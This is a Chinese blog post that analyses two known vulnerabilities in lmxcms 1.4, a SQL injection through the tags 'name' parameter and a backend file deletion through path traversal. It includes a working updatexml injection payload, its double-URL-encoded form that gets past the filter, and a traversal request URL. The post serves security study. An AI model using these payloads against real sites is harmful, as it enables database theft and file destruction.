首页 > 其他分享 >梦想CMS(lmxcms)1.4 简要分析

梦想CMS(lmxcms)1.4 简要分析

时间:2024-10-15 20:23:06浏览次数:9  
标签:1.4 name 32% 37% 36% lmxcms 25% 33% CMS

环境搭建

参考: https://www.bilibili.com/video/BV12U4y1G7iV?t=30.9

源码: http://www.lmxcms.com/down/xitong/

image-20241015201653083

CNVD-2019-05674-前台的SQL注入

https://www.cnvd.org.cn/flaw/show/CNVD-2019-05674

LmxCMS V1.4前台Ta***.cl***.php存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。

指TagsAction.class.php
image-20241015115055146
这里调用的是系统自己定义的p函数,在common.php中
image-20241015115110172
但是这个p函数过滤的很严,所以考虑在p函数之外绕过
有效的有两个地方:

$name = string::delHtml($data['name']);
$name = urldecode($name);

关于这个delHtml:

调用了strip_tags
效果是:

echo strip_tags("selec<>t");  // select

跟进输出处:


image-20241015114945303

还是添加echo $sql;

所以这里对应的是:/lmxcms1.4/?m=tags&name=a
由于这里有404,报了404之后会发生页面跳转,不方便观察:
image-20241015115020873

由于这儿有Cookie,所以每次对源代码修改后都要重新抓包
payload:/lmxcms1.4/?m=tags&name=a

但是那个delHtml的效果并不好
接下来尝试利用urldecode
正常情况下:

a' or updatexml(0,concat(0x7e,version()),1)#

URL编码两次:

%25%36%31%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33

然后传参:

CNVD-2020-59469-后台---文件删除

https://www.cnvd.org.cn/flaw/show/CNVD-2020-59469

image-20241015111016742
BackdbAction.class.php:
image-20241015115224064
跟进:
image-20241015115239822
发现重写了unlink方法:

public static function unLink($path){
        if($path == ROOT_PATH) return;
        if(is_file($path)){
            if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
            return true;
        }
    }

发现在其他文件中也有使用:

对应的是BasicAction.class.php

回到刚才的unlink:
image-20241015115258328
但是这两个地方删除的文件的后缀都被限制了,一个是.zip,另一个是.sql
再找其他地方:
image-20241015115312176
这个unLink($filepath);,$filename可控,可能是一个利用点,不过利用起来比较麻烦
还有一处:
image-20241015115325238
默认放置位置在file/back目录下
在根目录下新建一个1.txt:

所以:

http://192.168.84.1:8081/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=../../1.txt

标签:1.4,name,32%,37%,36%,lmxcms,25%,33%,CMS
From: https://www.cnblogs.com/starme/p/18468357

相关文章

  • 棉花音乐 1.41.7 | 支持百度/阿里云盘的音乐播放器
    棉花音乐是一款简洁的本地及网盘音乐播放器,支持本地歌曲、百度网盘、阿里云盘、WebDAV、GoogleDrive、OneDrive、Dropbox等网盘歌曲播放,支持Plex、Emby、Jellyfin、Subsonic媒体服务器。主要功能包括播放历史记录、支持创建歌单、多样化的播放器主题等。大小:13M百度网盘......
  • JFinalcms代码审计
    JFinalCms是开源免费的JAVA企业网站开发建设管理系统,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码。环境布置:IDEA打开项目,等待maven加载好。使用phpstudy集成的mysql5.7数据库即可,导入JFinalCMS.sql数据......
  • [C++ 核心编程]笔记 4.1.4 类和对象 - 案例1
    类和对象:案例1:设计立方体类(Cube)求出立方体的面积和体积分别用全局函数和成员函数判断两个立方体是否相等。设计方法:创建立方体类设计属性设计行为求立方体面积和体积分别用全局和成员函数判断立方体是否相等#include<iostream>usingnamespacestd;clas......
  • 织梦DedeCMS采集发布插件-免费下载
    推荐一款支持自动采集网页数据,并发布到织梦Dede网站的织梦DedeCMS采集发布插件,支持对接简数采集器,火车头采集器,八爪鱼采集器,后羿采集器等大多数网页数据抓取工具。织梦DedeCMS采集发布插件使用教程如下:1. 下载并安装织梦Dede采集发布插件1.1 下载简数采集器织梦DedeCMS采集发......
  • 帝国cms网站首页错误怎么解决
    解决帝国CMS(Ecms)网站首页出现错误的问题,可以按照以下步骤进行排查和修复:检查错误信息首先查看错误页面是否有具体的错误提示或错误代码,这有助于快速定位问题所在。服务器环境配置确认服务器环境是否符合帝国CMS的要求,例如PHP版本、MySQL版本等。文件权限检查网站......
  • koacms(十三)element ui 树形下拉选择封装
    直接上代码,这个用的地方也会比较多<!--*用法defaultValue:默认值treeData:树形数据disabled:是否禁用defaultProps:配置选项@clickSelectTree:点击树形节点时触发@clearSelectInput:清空输入框时触发<SelectTreev-model=......
  • C++ 非STL数据结构学习——1.4 字典树
    1.字典树的定义字典树是一种多叉树结构,每个节点代表一个字符,从根节点到某个节点的路径表示一个字符串。每个节点包含若干指向子节点的指针,通常使用数组、哈希表或其他数据结构来实现。2.字典树的基本操作插入:将一个字符串插入到字典树中。查找:在字典树中查找一个字符串是否......
  • 棉花音乐 1.41.2 | 支持百度/阿里云盘的多功能音乐播放器
    棉花音乐是一款简洁的本地及网盘音乐播放器,支持本地歌曲、百度网盘、阿里云盘、WebDAV、GoogleDrive、OneDrive、Dropbox等网盘歌曲播放,支持Plex、Emby、Jellyfin、Subsonic媒体服务器。同时支持Android、Windows、Mac、Linux平台。主要功能包括播放历史记录、支持创建歌......
  • OFcms代码审计
    前言今天看到一篇审计Java的文章,于是在没有继续系统学习基础的情况下,又一次当其搬运工,打算熟悉熟悉java项目搭建流程,然后再跟着过一下Java代码审计流程,全文除搭建的坑,其余漏洞代码分析均CV大佬思路。。。环境搭建源码地址:https://gitee.com/oufu/ofcms环境依赖:a.建议采用i......
  • 一款Java CMS 网站管理系统,基于RuoYi-fast二次开发,网站后台采用SpringBoot + MyBati
    一款JavaCMS网站管理系统基于RuoYi-fast二次开发,网站后台采用SpringBoot+MyBatis文章目录前言一、开源地址二、环境要求三、功能亮点3.1扩展功能3.2内置功能四、安装方法4.1、拉取源码4.2、修改数据库链接配置4.3、创建数据库并导入数据4.4、配置资源上传......